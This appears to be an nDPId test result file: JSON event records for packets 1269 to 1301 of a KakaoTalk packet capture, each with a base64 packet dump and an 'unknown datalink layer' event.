+00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1269,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":58905,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAQBHaSQoYUrwByQGuKBxaBgBFdjCAbDJlfq1nQ1Sapdqs1S9tD1wgSbZEe6UaIIMxjrVpwE9AEAdMkOjmkFS+4G9Vf7giWe76NAiV5hAPSqE3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1269,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1270,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":113318,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJwxCAbE\/giz4JWguGVRnbQDBVQWZPPIpJflRo2IqLrqZ55Ean2nEe+lp+iOIZaWfr6p45AKvjU\/wupw9gQRlSAuIOVA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1270,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1271,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":119391,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBIy9SAbDJmfq1rA1SapdoaQ2f68pwcljCt7vEMe6jnSEebicGKhH7skLday4eE33oUdg973a+vnAivtEWzy7YeFJ6X"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1271,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1272,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":161505,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAQBHaPQoYUrwByQGuKBxaBgBRvLGAbDJnfq1uw1Sapdoja1l0L6+QxYcYhxZ0Kdzc+hyTRbUEAxYtXdRpUPEAobq82dyZwz5fbfGnSF5hRfjiSzcGFJ8PDlDW4Oz7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1272,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1273,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":214881,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIjr+AbE\/hiz4NGguGVRnNGxXfGJLN7caJcIJtiZgGoXRt+YRW4i4m1pom6jUWcKyaRg7B81tb7oWgEpFX43QFWWpu"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1273,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1274,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":215064,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGdr2AbE\/iiz4Q2guGVRmAT1AtF65B0S+taBGB9Uw5wXNRkVQWUt0wlz0TS1BfBL+21dW0h3ElbuqOgT0gP5g91w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1274,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1275,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":243689,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBK3SOAbDJofq1yg1Sapdp9eIYnzCF8IV7iPq\/rLP+mg+8ZrKW7uYey9jGxgNw1SjuQRU0yxk3QZpZrM1ULOfmP7WFw4bc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1275,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00529{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1276,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":316230,"pkt_caplen":167,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":167,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJcAAEAAPxHbCwoYUrwByQGuLDhaBACD9QuAbE\/jiz4UmguGVRlY04l2D+UOo8XgeJVf9FDQvV0IfInKRwAA9ZNLJgkkR7AjZjqVsdBnX7yRtrC6cHlbIJBZpO1UPH8OnTKAttX4hnqfIt3T6t+1MiZHtrB0ds8YLCZhe4kZD2lbsPWjgjk090QlXCQ5+7RLo90OddM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1276,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1277,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":316382,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIAAAEAAPxHbIgoYUrwByQGuLDhaBABsaAyAbE\/kiz4YWguGVRl5K6Ze7GPwVKEdmoe3jn1W3eak3yKa7eaKGZzL+JDSIkk63UyLZt9HVPaXM+KVqBONV9Hvg2LSyxc4eGHZB2+6O4TIi42dllMU28eyCk5XeBUXNZfjGMBU"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1277,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1278,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":324256,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBIOZOAbDJpfq12Q1SapdoEcNkrSNLrtD9z\/jW8Y8LOu7Sw0P1zKClaOTnXsmJLxljX1Du+8GQlyazv0fJCOUOJ4Y63"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1278,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1279,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":363593,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAQBHaSgoYUrwByQGuKBxaBgBELziAbDJqfq16A1SapdqIOk6uC8fAHYX\/DeMwnrucS\/GK92i0glFi5sYI3m3k220QCDHyIkZeXVA7EnSyu9k="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1279,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1280,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":413489,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGPUyAbE\/liz4cGguGVRlYxXlTtPRiUDEjUJoObRobqUVSX0YSxNKF9\/GJPuMj61FUmlT91n5eEm+u6ynjKgkRog=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1280,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1281,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":425116,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAQBHaRwoYUrwByQGuKBxaBgBHJNyAbDJrfq19w1Sapdrizn2lfFOvQkENygU44pE0TuLdrm3BKJ2aHOIJB3HfugeKghBJ+5nZDXtE4r0UNNrfJjY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1281,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1282,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":457801,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAQBHaRQoYUrwByQGuKBxaBgBJtBuAbDJsfq2Bg1Sapdor+cONv7HiiPOgtupJ4sg8CWQScPIJ8\/LoL2cheTICF2CyYgu0xLrRlYjvwoET+Shsl+EIIQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1282,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1283,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":511725,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABH0ASAbE\/miz4f2guGVRmeddZxdoRhkGbMIdAqTVh0HkmqCSqUvQqPiMxhEtZGCugG1E92pk\/frR4gK4YosU\/YE1A="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1283,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1284,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":511817,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJGZiAbE\/niz4jmguGVRm5z0FHafiqQR24G1KFx0IXPLUj\/oYeVKZU+fYRCAGNds+DKuzXaEdQYh6lm0FG7bcc\/uJbpA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1284,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1285,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":541358,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAQBHaPwoYUrwByQGuKBxaBgBP+r6AbDJtfq2FQ1SapdrGqKXP0DNzNnCJfTzyEJvOHQNy7JLDTHKTnkapd6E2lJM1m68svuyNhZdBCxNvGEgm8ji0wZth2GATMA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1285,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1286,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":601325,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAQBHaRwoYUrwByQGuKBxaBgBH\/\/iAbDJufq2JA1SapdoYRfcuzgm+moA\/xphiKk67xdQQdYGEjHRn9i1lodeSbU8ltEdXM9SibXBELqfUYadG4PU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1286,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1287,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":612586,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJYUCAbE\/oiz4nWguGVRkiR77NGiChHz2aFG0GWao\/lGYMA6YNkB48thhabzgRow4VUaCBGgs4NloXYTN+pfzuWiz4Wg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1287,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1288,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":612738,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABG0q2AbE\/piz4rGguGVRlc5WUhgdtOgMw4j2iJ3Df5zYLo6Gf7yKpmLnrjTAlYqqfShaOvgPxag6ZTtcMoGy2zKg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1288,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1289,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":644080,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAQBHaSgoYUrwByQGuKBxaBgBEH2uAbDJvfq2Mw1SapdqMlbXCYBk45\/+v2OKYaVweUiKVyS9YvKoxByjw\/ox1lQeDCL\/Qkht2\/7OFeAYPcsk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1289,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1290,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":714514,"pkt_caplen":165,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":165,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJUAAEAAPxHbDQoYUrwByQGuLDhaBACBMUqAbE\/qiz4u2guGVRkHFd27IpYNg37rSXR2rdAJxFs++QHVg9vJ1F9kvS3T9f7lefiHAbsYXEWvYXqiNVUZ6Dool3OxgouyTDh+sZKjFb3\/09B6DK59OBDk8yRFSTsz4vP\/ZFrVsPV68NDjDynG7fZdCffdsvf1r0UO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1290,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1291,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":743720,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGWwKAbDJwfq2Qg1Sapdo+XvXWjT5VLXhcp58uSMOZa7E1OWJqwUCumqVDZQu5Kd2b9KHFbYEWvyz49DmAbQAu4w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1291,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1292,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":784552,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGJOKAbDJxfq2UQ1SapdprWeOMQvkDHjCdHQOm8xaWJtk6m4shLgKoTfZinybrTNYKWSpIiR7NKj6DyrQFx5eTuQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1292,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1293,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":814307,"pkt_caplen":216,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":216,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMgAAEAAPxHa2goYUrwByQGuLDhaBAC0+v2AbE\/riz4ymguGVRmPVqABirWbkxC9AwaLBq9rg\/c+HfOf30GM1Ppzyta8A+2XYtUc5d1pocXMdrHVlduj2DLGSfN+iroBvWo+sZ1zX4xWHG3jxWTQHs1Cjh4kZj\/g0wvnOp6uUkAMeR87f2RhqKYSiZFkjoEei\/MvvMDkQVz75Rltgq39\/fL6SnHH1aposMUpGtsZJS6dnyhiyWtooFDF7XuqUW+RP8AzYgzT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1293,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00608{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1294,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":814490,"pkt_caplen":223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":223,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM8AAEAAPxHa0woYUrwByQGuLDhaBAC7rbWAbE\/siz42WguGVRnybEUY0XOKZcOAiGFjmTlRYs2aV2zUqHGAhOclSVc6seCtYY\/pM7uO10HDY1y8hjxM19ipWFN77\/7Kp7jjzd2PbnU06T3UoK6UlxyhvxucCLIW2V3gGDCMZhugZ79T6th3ehLtTljRGdrGP8CRiioihKnF\/wysvbVCLWVtCb6Swl+fgX9I9Ju2QejJSSClsO1RpLLXq1B+GgcgdZiH50uWGY+0Lzx2WA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1294,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1295,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":827460,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAQBHaRwoYUrwByQGuKBxaBgBHI2mAbDJyfq2YA1SapdpBpuMiT\/mL0YjCE8an23NZ3\/0BX8y69TRi9f\/+\/FJ+1poj5x1HwCvMtEZxihO6OnY7+Vc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1295,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1296,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":899268,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAQBHaRQoYUrwByQGuKBxaBgBJo9+AbDJzfq2bw1Sapdo0lHGPn6WFVs0Q7dwKpvO3GDpvtmRDrcG2BdMEWDBbhkBC\/2nzxDQqG8umrUM3qAON3vf4uw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1296,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00609{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1297,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":912116,"pkt_caplen":225,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":225,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANEAAEAAPxHa0QoYUrwByQGuLDhaBAC9QiSAbE\/tiz46GguGVRkyhjyJfmFcyXy\/aJKozy5IenXvr4dHSmP\/lhRu4bYwRkOCKFrGaUOj1r7gqkZryhQaPm8qapRnOGjwLHBCufi\/vF76c31hyP4VdtWazHUXHS62mDMVfZe6NfIDs4sSikTBzwMu2mwHiU6NbamjzcFEr44QZ4bWehqJpkM8HUMZNCeyvC\/V346Yxt9rt5EJfQ3Dhupyq5scfNhLoEJ7Oms9rMSCnTIEjySj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1297,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1298,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":912177,"pkt_caplen":206,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL4AAEAAPxHa5AoYUrwByQGuLDhaBACqg\/WAbE\/uiz492guGVRmewpe5+N6Epf6KY3EmeTf9vtzD2v1gudewEK0MZCJTPRkLJHtSdQJ0PsCQBGDQ\/VAy7Xumbumg8mJMokQcQPHGqSxOO9+fzYvFS+b2rXFM87Yklp3x92LSmoVCJy41KyILna5tqZwlt3G\/jGLPhwdZtFu4p\/ERKQPU7JmRVEbyFcDPSRb\/ITBlfMhCOVOvDLOzCKht1WM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1298,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00525{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1299,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":940161,"pkt_caplen":160,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":160,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJAAAEAAQBHaEgoYUrwByQGuKBxaBgB82h2AbDJ0fq2fg1Sapdqsg2HBVe05NRC\/Kb4jo1Mq5HlC6gphp3KtW7zfp80F4o2pfCVgPT74RshhoeEUBWHj9fPDGnnYtcwnZSB39Nfn0s\/Zh\/2n1W2JMMgPI\/Oh+zyV1qipEYFluPWhbTsG9KifLpaESJ\/WZg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1299,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00607{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1300,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":14258,"pkt_caplen":224,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":224,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANAAAEAAPxHa0goYUrwByQGuLDhaBAC8mXiAbE\/viz5BmguGVRl\/gbwKxmqhr0+E8kwGDGIVLOOfMCpnFcRU6wwu8hWHwvH+s51uEELqdr+Ny+sBnPVxjSzBqVzdn723C0Ub7ltWQOf\/DPmJIUAY093UDznyjTwCdfEKXIAvc9zHRfXJXTty7FOHnwRn1udOSGp56I+IC2mJFxfPJ2sQGanSKjxtaylo\/xHy5rla+AqWmL4zK6ra7F3oViX06fFmha+o24yWFVIQpnZXn5w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1300,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1301,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":27350,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG8AAEAAQBHaMwoYUrwByQGuKBxaBgBbW2CAbDJ1fq2jQ1Sapdown8FYNEI7e\/eYWpBi\/Z4vjDxPhO6FghsSCyI0ZKjNoFM6CyFgpT4IdZfc2xhwUmeBFvYL2kBUWfmez7PR1qGSbTl7CPYdDw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1301,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 